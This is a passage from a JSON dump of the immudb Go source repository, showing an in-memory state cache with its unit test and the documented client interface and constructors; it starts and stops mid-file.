:= fc.unmarshalRoot(tmpFile.Name(), \"db\")\n\trequire.NoError(t, err)\n\trequire.Nil(t, state)\n}\n"
  },
  {
    "path": "pkg/client/cache/inmemory_cache.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cache\n\nimport (\n\t\"fmt\"\n\t\"sync\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n)\n\ntype inMemoryCache struct {\n\tserverUUID string\n\tstates     map[string]map[string]*schema.ImmutableState\n\tidentities map[string]string\n\tlock       sync.RWMutex\n}\n\n// NewInMemoryCache returns a new in-memory cache\nfunc NewInMemoryCache() Cache {\n\treturn &inMemoryCache{\n\t\tstates:     map[string]map[string]*schema.ImmutableState{},\n\t\tidentities: map[string]string{},\n\t}\n}\n\nfunc (imc *inMemoryCache) Get(serverUUID, db string) (*schema.ImmutableState, error) {\n\tserverStates, ok := imc.states[serverUUID]\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"no roots found for server %s\", serverUUID)\n\t}\n\tstate, ok := serverStates[db]\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\n\t\t\t\"no state found for server %s and database %s\", serverUUID, db)\n\t}\n\treturn state, nil\n}\n\nfunc (imc *inMemoryCache) Set(serverUUID, db string, state *schema.ImmutableState) error {\n\timc.lock.Lock()\n\tdefer imc.lock.Unlock()\n\tif _, ok := imc.states[serverUUID]; !ok {\n\t\timc.states[serverUUID] = map[string]*schema.ImmutableState{db: state}\n\t\treturn nil\n\t}\n\timc.states[serverUUID][db] = state\n\treturn nil\n}\n\nfunc (imc *inMemoryCache) Lock(serverUUID string) (err error) {\n\treturn ErrNotImplemented\n}\n\nfunc (imc *inMemoryCache) Unlock() (err error) {\n\treturn ErrNotImplemented\n}\n\nfunc (imc *inMemoryCache) ServerIdentityCheck(serverIdentity, serverUUID string) error {\n\timc.lock.Lock()\n\tdefer imc.lock.Unlock()\n\n\tif previousUUID, ok := imc.identities[serverIdentity]; ok {\n\t\t// Server with this identity was seen before, ensure it did not change\n\t\tif previousUUID != serverUUID {\n\t\t\treturn ErrServerIdentityValidationFailed\n\t\t}\n\t\treturn nil\n\t}\n\n\timc.identities[serverIdentity] = serverUUID\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/client/cache/inmemory_cache_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cache\n\nimport (\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestInMemoryCache(t *testing.T) {\n\timc := NewInMemoryCache()\n\trequire.IsType(t, &inMemoryCache{}, imc)\n\n\terr := imc.Set(\"server1\", \"db11\", &schema.ImmutableState{TxId: 11, TxHash: []byte{11}})\n\trequire.NoError(t, err)\n\terr = imc.Set(\"server1\", \"db12\", &schema.ImmutableState{TxId: 12, TxHash: []byte{12}})\n\trequire.NoError(t, err)\n\terr = imc.Set(\"server2\", \"db21\", &schema.ImmutableState{TxId: 21, TxHash: []byte{21}})\n\trequire.NoError(t, err)\n\n\troot, err := imc.Get(\"server1\", \"db11\")\n\trequire.NoError(t, err)\n\trequire.Equal(t, uint64(11), root.GetTxId())\n\trequire.Equal(t, []byte{11}, root.GetTxHash())\n\n\troot, err = imc.Get(\"server1\", \"db12\")\n\trequire.NoError(t, err)\n\trequire.Equal(t, uint64(12), root.GetTxId())\n\trequire.Equal(t, []byte{12}, root.GetTxHash())\n\n\troot, err = imc.Get(\"server2\", \"db21\")\n\trequire.NoError(t, err)\n\trequire.Equal(t, uint64(21), root.GetTxId())\n\trequire.Equal(t, []byte{21}, root.GetTxHash())\n\n\t_, err = imc.Get(\"unknownServer\", \"db11\")\n\trequire.ErrorContains(t, err, \"no roots found for server\")\n\t_, err = imc.Get(\"server1\", \"unknownDb\")\n\trequire.ErrorContains(t, err, \"no state found for server\")\n\n\terr = imc.Lock(\"server1\")\n\trequire.ErrorIs(t, err, ErrNotImplemented)\n\n\terr = imc.Unlock()\n\trequire.ErrorIs(t, err, ErrNotImplemented)\n\n\terr = imc.ServerIdentityCheck(\"server1\", \"identity1\")\n\trequire.NoError(t, err)\n\n\terr = imc.ServerIdentityCheck(\"server1\", \"identity2\")\n\trequire.ErrorIs(t, err, ErrServerIdentityValidationFailed)\n\n\terr = imc.ServerIdentityCheck(\"server1\", \"identity1\")\n\trequire.NoError(t, err)\n}\n"
  },
  {
    "path": "pkg/client/client.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\n// This package contains the official implementation of the go client for the immudb database.\n//\n// Please refer to documentation at https://docs.immudb.io for more details on how to use this SDK.\npackage client\n\nimport (\n\t\"context\"\n\t\"crypto/ecdsa\"\n\t\"crypto/sha256\"\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"time\"\n\n\t\"github.com/golang/protobuf/ptypes/empty\"\n\tgrpc_middleware \"github.com/grpc-ecosystem/go-grpc-middleware\"\n\t\"github.com/grpc-ecosystem/grpc-gateway/runtime\"\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/credentials\"\n\t\"google.golang.org/grpc/grpclog\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/client/cache\"\n\t\"github.com/codenotary/immudb/pkg/client/errors\"\n\t\"github.com/codenotary/immudb/pkg/client/state\"\n\t\"github.com/codenotary/immudb/pkg/client/tokenservice\"\n\t\"github.com/codenotary/immudb/pkg/database\"\n\t\"github.com/codenotary/immudb/pkg/signer\"\n\t\"github.com/codenotary/immudb/pkg/stream\"\n)\n\n// ImmuClient is an interface that represents immudb client.\n// Instances returned from NewClient or NewImmuClient methods implement this interface.\ntype ImmuClient interface {\n\n\t// Disconnect closes the current connection to the server.\n\t//\n\t// Deprecated: use NewClient and CloseSession instead.\n\tDisconnect() error\n\n\t// IsConnected checks whether the client is connected to the server.\n\tIsConnected() bool\n\n\t// WaitForHealthCheck waits for up to Options.HealthCheckRetries seconds to\n\t// get a successful HealthCheck response from the server.\n\t//\n\t// Deprecated: grpc retry mechanism can be implemented with WithConnectParams dialOption.\n\tWaitForHealthCheck(ctx context.Context) error\n\n\t// Get server health information.\n\t//\n\t// Deprecated: use ServerInfo.\n\tHealthCheck(ctx context.Context) error\n\n\t// Connect establishes new connection to the server.\n\t//\n\t// Deprecated: use NewClient and OpenSession instead.\n\tConnect(ctx context.Context) (clientConn *grpc.ClientConn, err error)\n\n\t// Login authenticates the user in an established connection.\n\t//\n\t// Deprecated: use NewClient and OpenSession instead.\n\tLogin(ctx context.Context, user []byte, pass []byte) (*schema.LoginResponse, error)\n\n\t// Logout logs out the user.\n\t//\n\t// Deprecated: use CloseSession.\n\tLogout(ctx context.Context) error\n\n\t// OpenSession establishes a new session with the server, this method also opens new\n\t// connection to the server.\n\t//\n\t// Note: it is important to call CloseSession() once the session is no longer needed.\n\tOpenSession(ctx context.Context, user []byte, pass []byte, database string) (err error)\n\n\t// CloseSession closes the current session and the connection to the server,\n\t// this call also allows the server to free up all resources allocated for a session\n\t// (without explicit call, the server will only free resources after session inactivity timeout).\n\tCloseSession(ctx context.Context) error\n\n\tGetSessionID() string\n\n\t// CreateUser creates new user with given credentials and permission.\n\t//\n\t// Required user permission is SysAdmin or database Admin.\n\t//\n\t// SysAdmin user can create users with access to any database.\n\t//\n\t// Admin user can only create users with access to databases where\n\t// the user has admin permissions.\n\t//\n\t// The permission argument is the permission level and can be one of those values:\n\t//   - 1 (auth.PermissionR) - read-only access\n\t//   - 2 (auth.PermissionRW) - read-write access\n\t//   - 254 (auth.PermissionAdmin) - read-write with admin rights\n\tCreateUser(ctx context.Context, user []byte, pass []byte, permission uint32, databasename string) error\n\n\t// ListUser returns a list of database users.\n\t//\n\t// This call requires Admin or SysAdmin permission level.\n\t//\n\t// When called as a SysAdmin user, all users in the database are returned.\n\t// When called as an Admin user, users for currently selected database are returned.\n\tListUsers(ctx context.Context) (*schema.UserList, error)\n\n\t// ChangePassword changes password for existing user.\n\t//\n\t// This call requires Admin or SysAdmin permission level.\n\t//\n\t// The oldPass argument is only necessary when changing SysAdmin user's password.\n\tChangePassword(ctx context.Context, user []byte, oldPass []byte, newPass []byte) error\n\n\t// ChangePermission grants or revokes permission to one database for given user.\n\t//\n\t// This call requires SysAdmin or admin permission to the database where we grant permissions.\n\t//\n\t// The permission argument is used when granting permission and can be one of those values:\n\t//   - 1 (auth.PermissionR) - read-only access\n\t//   - 2 (auth.PermissionRW) - read-write access\n\t//   - 254 (auth.PermissionAdmin) - read-write with admin rights\n\t//\n\t// The following restrictions are applied:\n\t//  - the user can not change permission for himself\n\t//  - can not change permissions of the SysAdmin user\n\t//  - the user must be active\n\t//  - when the user already had permission to the database, it is overwritten\n\t//    by the new permission (even if the user had higher permission before)\n\tChangePermission(ctx context.Context, action schema.PermissionAction, username string, database string, permissions uint32) error\n\n\t// UpdateAuthConfig is no longer supported.\n\t//\n\t// Deprecated: will be removed in future versions.\n\tUpdateAuthConfig(ctx context.Context, kind auth.Kind) error\n\n\t// UpdateMTLSConfig is no longer supported.\n\t//\n\t// Deprecated: will be removed in future versions.\n\tUpdateMTLSConfig(ctx context.Context, enabled bool) error\n\n\t// WithOptions sets up client options for the instance.\n\tWithOptions(options *Options) *immuClient\n\n\t// WithLogger sets up custom client logger.\n\tWithLogger(logger logger.Logger) *immuClient\n\n\t// WithStateService sets up the StateService object.\n\tWithStateService(rs state.StateService) *immuClient\n\n\t// Deprecated: will be removed in future versions.\n\tWithClientConn(clientConn *grpc.ClientConn) *immuClient\n\n\t// Deprecated: will be removed in future versions.\n\tWithServiceClient(serviceClient schema.ImmuServiceClient) *immuClient\n\n\t// Deprecated: will be removed in future versions.\n\tWithTokenService(tokenService tokenservice.TokenService) *immuClient\n\n\t// WithServerSigningPubKey sets up public key for server's state validation.\n\tWithServerSigningPubKey(serverSigningPubKey *ecdsa.PublicKey) *immuClient\n\n\t// WithStreamServiceFactory sets up stream factory for the client.\n\tWithStreamServiceFactory(ssf stream.ServiceFactory) *immuClient\n\n\t// GetServiceClient returns low-level GRPC service client.\n\tGetServiceClient() schema.ImmuServiceClient\n\n\t// GetOptions returns current client options.\n\tGetOptions() *Options\n\n\t// SetupDialOptions extracts grpc dial options from provided client options.\n\tSetupDialOptions(options *Options) []grpc.DialOption\n\n\t// Return list of databases the user has access to.\n\t//\n\t// Deprecated: Use DatabaseListV2.\n\tDatabaseList(ctx context.Context) (*schema.DatabaseListResponse, error)\n\n\t// DatabaseListV2 returns a list of databases the user has access to.\n\tDatabaseListV2(ctx context.Context) (*schema.DatabaseListResponseV2, error)\n\n\t// CreateDatabase creates new database.\n\t// This call requires SysAdmin permission level.\n\t//\n\t// Deprecated: Use CreateDatabaseV2.\n\tCreateDatabase(ctx context.Context, d *schema.DatabaseSettings) error\n\n\t// CreateDatabaseV2 creates a new database.\n\t// This call requires SysAdmin permission level.\n\tCreateDatabaseV2(ctx context.Context, database string, settings *schema.DatabaseNullableSettings) (*schema.CreateDatabaseResponse, error)\n\n\t// LoadDatabase loads database on the server. A database is not loaded\n\t// if it has AutoLoad setting set to false or if it failed to load during\n\t// immudb startup.\n\t//\n\t// This call requires SysAdmin permission level or admin permission to the database.\n\tLoadDatabase(ctx context.Context, r *schema.LoadDatabaseRequest) (*schema.LoadDatabaseResponse, error)\n\n\t// UnloadDatabase unloads database on the server. Such database becomes inaccessible\n\t// by the client and server frees internal resources allocated for that database.\n\t//\n\t// This call requires SysAdmin permission level or admin permission to the database.\n\tUnloadDatabase(ctx context.Context, r *schema.UnloadDatabaseRequest) (*schema.UnloadDatabaseResponse, error)\n\n\t// DeleteDatabase removes an unloaded database.\n\t// This also removes locally stored files used by the database.\n\t//\n\t// This call requires SysAdmin permission level or admin permission to the database.\n\tDeleteDatabase(ctx context.Context, r *schema.DeleteDatabaseRequest) (*schema.DeleteDatabaseResponse, error)\n\n\t// UseDatabase changes the currently selected database.\n\t//\n\t// This call requires at least read permission level for the target database.\n\tUseDatabase(ctx context.Context, d *schema.Database) (*schema.UseDatabaseReply, error)\n\n\t// UpdateDatabase updates database settings.\n\t//\n\t// Deprecated: Use UpdateDatabaseV2.\n\tUpdateDatabase(ctx context.Context, settings *schema.DatabaseSettings) error\n\n\t// UpdateDatabaseV2 updates database settings.\n\t//\n\t// Settings can be set selectively - values not set in the settings object\n\t// will not be updated.\n\t//\n\t// The returned value is the list of settings after the update.\n\t//\n\t// Settings other than those related to replication will only be applied after\n\t// immudb restart or unload/load cycle of the database.\n\tUpdateDatabaseV2(ctx context.Context, database string, settings *schema.DatabaseNullableSettings) (*schema.UpdateDatabaseResponse, error)\n\n\t// Deprecated: Use GetDatabaseSettingsV2.\n\tGetDatabaseSettings(ctx context.Context) (*schema.DatabaseSettings, error)\n\n\t// GetDatabaseSettingsV2 retrieves current persisted database settings.\n\tGetDatabaseSettingsV2(ctx context.Context) (*schema.DatabaseSettingsResponse, error)\n\n\t// SetActiveUser activates or deactivates a user.\n\tSetActiveUser(ctx context.Context, u *schema.SetActiveUserRequest) error\n\n\t// FlushIndex requests a flush operation from the database.\n\t// This call requires SysAdmin or Admin permission to given database.\n\t//\n\t// The cleanupPercentage value is the amount of index nodes data in percent\n\t// that will be scanned in order to free up unused disk space.\n\tFlushIndex(ctx context.Context, cleanupPercentage float32, synced bool) (*schema.FlushIndexResponse, error)\n\n\t// CompactIndex perform full database compaction.\n\t// This call requires SysAdmin or Admin permission to given database.\n\t//\n\t// Note: Full compaction will greatly affect the performance of the database.\n\t// It should also be called only when there's a minimal database activity,\n\t// if full compaction collides with a read or write operation, it will be aborted\n\t// and may require retry of the whole operation. For that reason it is preferred\n\t// to periodically call FlushIndex with a small value of cleanupPercentage or set the\n\t// cleanupPercentage database option.\n\tCompactIndex(ctx context.Context, req *empty.Empty) error\n\n\t// ServerInfo returns information about the server instance.\n\tServerInfo(ctx context.Context, req *schema.ServerInfoRequest) (*schema.ServerInfoResponse, error)\n\n\t// Health returns Health information about the current database.\n\t//\n\t// Requires read access to the database.\n\tHealth(ctx context.Context) (*schema.DatabaseHealthResponse, error)\n\n\t// CurrentState returns the current state value from the server for the current database.\n\tCurrentState(ctx context.Context) (*schema.ImmutableState, error)\n\n\t// Set commits a change of a value for a single key.\n\tSet(ctx context.Context, key []byte, value []byte) (*schema.TxHeader, error)\n\n\t// VerifiedSet commits a change of a value for a single key.\n\t//\n\t// This function also requests a server-generated proof, verifies the entry in the transaction\n\t// using the proof and verifies the signature of the signed state.\n\t// If verification does not succeed the store.ErrCorruptedData error is returned.\n\tVerifiedSet(ctx context.Context, key []byte, value []byte) (*schema.TxHeader, error)\n\n\t// ExpirableSet commits a change of a value for a single key and sets up the expiration\n\t// time for that value after which the value will no longer be retrievable.\n\tExpirableSet(ctx context.Context, key []byte, value []byte, expiresAt time.Time) (*schema.TxHeader, error)\n\n\t// Get reads a single value for given key.\n\tGet(ctx context.Context, key []byte, opts ...GetOption) (*schema.Entry, error)\n\n\t// GetSince reads a single value for given key assuming that at least transaction `tx` was indexed.\n\t// For more information about getting value with sinceTx constraint see the SinceTx get option.\n\tGetSince(ctx context.Context, key []byte, tx uint64) (*schema.Entry, error)\n\n\t// GetAt reads a single value that was modified at a specific transaction.\n\t// For more information about getting value from specific revision see the AtTx get option.\n\tGetAt(ctx context.Context, key []byte, tx uint64) (*schema.Entry, error)\n\n\t// GetAtRevision reads value for given key by its revision.\n\t// For more information about the revisions see the AtRevision get option.\n\tGetAtRevision(ctx context.Context, key []byte, rev int64) (*schema.Entry, error)\n\n\t// Gets reads a single value for given key with additional server-provided proof validation.\n\tVerifiedGet(ctx context.Context, key []byte, opts ...GetOption) (*schema.Entry, error)\n\n\t// VerifiedGetSince reads a single value for given key assuming that at least transaction `tx` was indexed.\n\t// For more information about getting value with sinceTx constraint see the SinceTx get option.\n\t//\n\t// This function also requests a server-generated proof, verifies the entry in the transaction\n\t// using the proof and verifies the signature of the signed state.\n\t// If verification does not succeed the store.ErrCorruptedData error is returned.\n\tVerifiedGetSince(ctx context.Context, key []byte, tx uint64) (*schema.Entry, error)\n\n\t// VerifiedGetAt reads a single value that was modified at a specific transaction.\n\t// For more information about getting value from specific revision see the AtTx get option.\n\t//\n\t// This function also requests a server-generated proof, verifies the entry in the transaction\n\t// using the proof and verifies the signature of the signed state.\n\t// If verification does not succeed the store.ErrCorruptedData error is returned.\n\tVerifiedGetAt(ctx context.Context, key []byte, tx uint64) (*schema.Entry, error)\n\n\t// VerifiedGetAtRevision reads value for given key by its revision.\n\t// For more information about the revisions see the AtRevision get option.\n\t//\n\t// This function also requests a server-generated proof, verifies the entry in the transaction\n\t// using the proof and verifies the signature of the signed state.\n\t// If verification does not succeed the store.ErrCorruptedData error is returned.\n\tVerifiedGetAtRevision(ctx context.Context, key []byte, rev int64) (*schema.Entry, error)\n\n\t// VerifiableGet reads value for a given key, and returs internal data used to perform\n\t// the verification.\n\t//\n\t// You can use this function if you want to have visibility on the verification data\n\tVerifiableGet(ctx context.Context, in *schema.VerifiableGetRequest, opts ...grpc.CallOption) (*schema.VerifiableEntry, error)\n\n\t// History returns history for a single key.\n\tHistory(ctx context.Context, req *schema.HistoryRequest) (*schema.Entries, error)\n\n\t// ZAdd adds a new entry to sorted set.\n\t// New entry is a reference to some other key's value with additional score used for ordering set members.\n\tZAdd(ctx context.Context, set []byte, score float64, key []byte) (*schema.TxHeader, error)\n\n\t// VerifiedZAdd adds a new entry to sorted set.\n\t// New entry is a reference to some other key's value\n\t// with additional score used for ordering set members.\n\t//\n\t// This function also requests a server-generated proof, verifies the entry in the transaction\n\t// using the proof and verifies the signature of the signed state.\n\t// If verification does not succeed the store.ErrCorruptedData error is returned.\n\tVerifiedZAdd(ctx context.Context, set []byte, score float64, key []byte) (*schema.TxHeader, error)\n\n\t// ZAddAt adds a new entry to sorted set.\n\t// New entry is a reference to some other key's value at a specific transaction\n\t// with additional score used for ordering set members.\n\tZAddAt(ctx context.Context, set []byte, score float64, key []byte, atTx uint64) (*schema.TxHeader, error)\n\n\t// VerifiedZAddAt adds a new entry to sorted set.\n\t// New entry is a reference to some other key's value at a specific transaction\n\t// with additional score used for ordering set members.\n\t//\n\t// This function also requests a server-generated proof, verifies the entry in the transaction\n\t// using the proof and verifies the signature of the signed state.\n\t// If verification does not succeed the store.ErrCorruptedData error is returned.\n\tVerifiedZAddAt(ctx context.Context, set []byte, score float64, key []byte, atTx uint64) (*schema.TxHeader, error)\n\n\t// Scan iterates over the set of keys in a topological order.\n\tScan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries, error)\n\n\t// ZScan iterates over the elements of sorted set ordered by their score.\n\tZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntries, error)\n\n\t// TxByID retrieves all entries (in a raw, unprocessed form) for given transaction.\n\t//\n\t// Note: In order to read keys and values, it is necessary to parse returned entries\n\t// TxByIDWithSpec can be used to read already-parsed values\n\tTxByID(ctx context.Context, tx uint64) (*schema.Tx, error)\n\n\t// TxByID retrieves all entries (in a raw, unprocessed form) for given transaction\n\t// and performs verification of the server-provided proof for the whole transaction.\n\tVerifiedTxByID(ctx context.Context, tx uint64) (*schema.Tx, error)\n\n\t// TxByIDWithSpec retrieves entries from given transaction according to given spec.\n\tTxByIDWithSpec(ctx context.Context, req *schema.TxRequest) (*schema.Tx, error)\n\n\t// TxScan returns raw entries for a range of transactions.\n\tTxScan(ctx context.Context, req *schema.TxScanRequest) (*schema.TxList, error)\n\n\t// Count returns count of key-value entries with given prefix.\n\t//\n\t// Note: This feature is not implemented yet.\n\tCount(ctx context.Context, prefix []byte) (*schema.EntryCount, error)\n\n\t// Count returns count of all key-value entries.\n\t//\n\t// Note: This feature is not implemented yet.\n\tCountAll(ctx context.Context) (*schema.EntryCount, error)\n\n\t// SetAll sets multiple entries in a single transaction.\n\tSetAll(ctx context.Context, kvList *schema.SetRequest) (*schema.TxHeader, error)\n\n\t// GetAll retrieves multiple entries in a single call.\n\tGetAll(ctx context.Context, keys [][]byte) (*schema.Entries, error)\n\n\t// Delete performs a logical deletion for a list of keys marking them as deleted.\n\tDelete(ctx context.Context, req *schema.DeleteKeysRequest) (*schema.TxHeader, error)\n\n\t// ExecAll performs multiple write operations (values, references, sorted set entries)\n\t// in a single transaction.\n\tExecAll(ctx context.Context, in *schema.ExecAllRequest) (*schema.TxHeader, error)\n\n\t// SetReference creates a reference to another key's value.\n\t//\n\t// Note: references can only be created to non-reference keys.\n\tSetReference(ctx context.Context, key []byte, referencedKey []byte) (*schema.TxHeader, error)\n\n\t// VerifiedSetReference creates a reference to another key's value and verifies server-provided\n\t// proof for the write.\n\t//\n\t// Note: references can only be created to non-reference keys.\n\tVerifiedSetReference(ctx context.Context, key []byte, referencedKey []byte) (*schema.TxHeader, error)\n\n\t// SetReference creates a reference to another key's value at a specific transaction.\n\t//\n\t// Note: references can only be created to non-reference keys.\n\tSetReferenceAt(ctx context.Context, key []byte, referencedKey []byte, atTx uint64) (*schema.TxHeader, error)\n\n\t// SetReference creates a reference to another key's value at a specific transaction and verifies server-provided\n\t// proof for the write.\n\t//\n\t// Note: references can only be created to non-reference keys.\n\tVerifiedSetReferenceAt(ctx context.Context, key []byte, referencedKey []byte, atTx uint64) (*schema.TxHeader, error)\n\n\t// Dump is currently not implemented.\n\tDump(ctx context.Context, writer io.WriteSeeker) (int64, error)\n\n\t// StreamSet performs a write operation of a value for a single key retrieving key and value form io.Reader streams.\n\tStreamSet(ctx context.Context, kv []*stream.KeyValue) (*schema.TxHeader, error)\n\n\t// StreamGet retrieves a single entry for a key read from an io.Reader stream.\n\tStreamGet(ctx context.Context, k *schema.KeyRequest) (*schema.Entry, error)\n\n\t// StreamVerifiedSet performs a write operation of a value for a single key retrieving key and value form io.Reader streams\n\t// with additional verification of server-provided write proof.\n\tStreamVerifiedSet(ctx context.Context, kv []*stream.KeyValue) (*schema.TxHeader, error)\n\n\t// StreamVerifiedGet retrieves a single entry for a key read from an io.Reader stream\n\t// with additional verification of server-provided value proof.\n\tStreamVerifiedGet(ctx context.Context, k *schema.VerifiableGetRequest) (*schema.Entry, error)\n\n\t// StreamScan scans for keys with given prefix, using stream API to overcome limits of large keys and values.\n\tStreamScan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries, error)\n\n\t// StreamZScan scans entries from given sorted set, using stream API to overcome limits of large keys and values.\n\tStreamZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntries, error)\n\n\t// StreamHistory returns a history of given key, using stream API to overcome limits of large keys and values.\n\tStreamHistory(ctx context.Context, req *schema.HistoryRequest) (*schema.Entries, error)\n\n\t// StreamExecAll performs an ExecAll operation (write operation for multiple data types in a single transaction)\n\t// using stream API to overcome limits of large keys and values.\n\tStreamExecAll(ctx context.Context, req *stream.ExecAllRequest) (*schema.TxHeader, error)\n\n\t// ExportTx retrieves serialized transaction object.\n\tExportTx(ctx context.Context, req *schema.ExportTxRequest) (schema.ImmuService_ExportTxClient, error)\n\n\t// ReplicateTx sends a previously serialized transaction object replicating it on another database.\n\tReplicateTx(ctx context.Context) (schema.ImmuService_ReplicateTxClient, error)\n\n\t// StreamExportTx provides a bidirectional endpoint for retrieving serialized transactions\n\tStreamExportTx(ctx context.Context, opts ...grpc.CallOption) (schema.ImmuService_StreamExportTxClient, error)\n\n\t// SQLExec performs a modifying SQL query within the transaction.\n\t// Such query does not return SQL result.\n\tSQLExec(ctx context.Context, sql string, params map[string]interface{}) (*schema.SQLExecResult, error)\n\n\t// SQLQuery performs a query (read-only) operation.\n\t//\n\t// Deprecated: use SQLQueryReader instead.\n\t// The renewSnapshot parameter is deprecated and  is ignored by the server.\n\tSQLQuery(ctx context.Context, sql string, params map[string]interface{}, renewSnapshot bool) (*schema.SQLQueryResult, error)\n\n\t// SQLQueryReader submits an SQL query to the server and returns a reader object for efficient retrieval of all rows in the result set.\n\tSQLQueryReader(ctx context.Context, sql string, params map[string]interface{}) (SQLQueryRowReader, error)\n\n\t// ListTables returns a list of SQL tables.\n\tListTables(ctx context.Context) (*schema.SQLQueryResult, error)\n\n\t// Describe table returns a description of a table structure.\n\tDescribeTable(ctx context.Context, tableName string) (*schema.SQLQueryResult, error)\n\n\t// VerifyRow reads a single row from the database with additional validation of server-provided proof.\n\t//\n\t// The row parameter should contain row from a single table, either returned from\n\t// query or manually assembled. The table parameter contains the name of the table\n\t// where the row comes from. The pkVals argument is an array containing values for\n\t// the primary key of the row. The row parameter does not have to contain all\n\t// columns of the table. Once the row itself is verified, only those columns that\n\t// are in the row will be compared against the verified row retrieved from the database.\n\tVerifyRow(ctx context.Context, row *schema.Row, table string, pkVals []*schema.SQLValue) error\n\n\t// NewTx starts a new transaction.\n\t//\n\t// Note: Currently such transaction can only be used for SQL operations.\n\tNewTx(ctx context.Context, opts ...TxOption) (Tx, error)\n\n\t// TruncateDatabase truncates a database.\n\t// This truncates the locally stored value log files used by the database.\n\t//\n\t// This call requires SysAdmin permission level or admin permission to the database.\n\tTruncateDatabase(ctx context.Context, db string, retentionPeriod time.Duration) error\n}\n\ntype ErrorHandler func(sessionID string, err error)\n\nconst DefaultDB = \"defaultdb\"\n\ntype immuClient struct {\n\tDir                  string\n\tLogger               logger.Logger\n\tOptions              *Options\n\tclientConn           *grpc.ClientConn\n\tServiceClient        schema.ImmuServiceClient\n\tStateService         state.StateService\n\tTkns                 tokenservice.TokenService\n\tserverSigningPubKey  *ecdsa.PublicKey\n\tStreamServiceFactory stream.ServiceFactory\n\tSessionID            string\n\tHeartBeater          HeartBeater\n\terrorHandler         ErrorHandler\n}\n\n// Ensure immuClient implements the ImmuClient interface\nvar _ ImmuClient = (*immuClient)(nil)\n\n// NewClient creates a new instance if immudb client object.\n//\n// The returned object implements the ImmuClient interface.\n//\n// Returned instance is not connected to the database,\n// use OpenSession to establish the connection.\nfunc NewClient() *immuClient {\n\tc := &immuClient{\n\t\tDir:                  \"\",\n\t\tOptions:              DefaultOptions(),\n\t\tLogger:               logger.NewSimpleLogger(\"immuclient\", os.Stderr),\n\t\tStreamServiceFactory: stream.NewStreamServiceFactory(DefaultOptions().StreamChunkSize),\n\t\tTkns:                 tokenservice.NewInmemoryTokenService(),\n\t}\n\treturn c\n}\n\n// NewImmuClient creates a new immudb client object instance and connects to a server.\n//\n// Deprecated: use NewClient instead.\nfunc NewImmuClient(options *Options) (*immuClient, error) {\n\tctx := context.Background()\n\n\tc := NewClient()\n\tc.WithOptions(options)\n\tl := logger.NewSimpleLogger(\"immuclient\", os.Stderr)\n\tc.WithLogger(l)\n\n\tif options.ServerSigningPubKey != \"\" {\n\t\tpk, err := signer.ParsePublicKeyFile(options.ServerSigningPubKey)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tc.WithServerSigningPubKey(pk)\n\t}\n\n\toptions.DialOptions = c.SetupDialOptions(options)\n\n\tif db, err := c.Tkns.GetDatabase(); err == nil && len(db) > 0 {\n\t\toptions.CurrentDatabase = db\n\t}\n\n\tif options.StreamChunkSize < stream.MinChunkSize {\n\t\treturn nil, errors.New(stream.ErrChunkTooSmall).WithCode(errors.CodInvalidParameterValue)\n\t}\n\n\tc.WithOptions(options)\n\n\tclientConn, err := c.Connect(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tc.WithClientConn(clientConn)\n\n\tserviceClient := schema.NewImmuServiceClient(clientConn)\n\tc.WithServiceClient(serviceClient)\n\n\tif err = c.WaitForHealthCheck(ctx); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif err = os.MkdirAll(options.Dir, os.ModePerm); err != nil {\n\t\treturn nil, logErr(l, \"Unable to create program file folder: %s\", err)\n\t}\n\n\tstateProvider := state.NewStateProvider(serviceClient)\n\tuuidProvider := state.NewUUIDProvider(serviceClient)\n\n\tstateService, err := state.NewStateService(\n\t\tcache.NewFileCache(options.Dir),\n\t\tl,\n\t\tstateProvider,\n\t\tuuidProvider,\n\t)\n\tif err != nil {\n\t\treturn nil, logErr(l, \"Unable to create state service: %s\", err)\n\t}\n\n\tif !c.Options.DisableIdentityCheck {\n\t\tstateService.SetServerIdentity(c.getServerIdentity())\n\t}\n\n\tc.WithStateService(stateService)\n\n\treturn c, nil\n}\n\nfunc (c *immuClient) 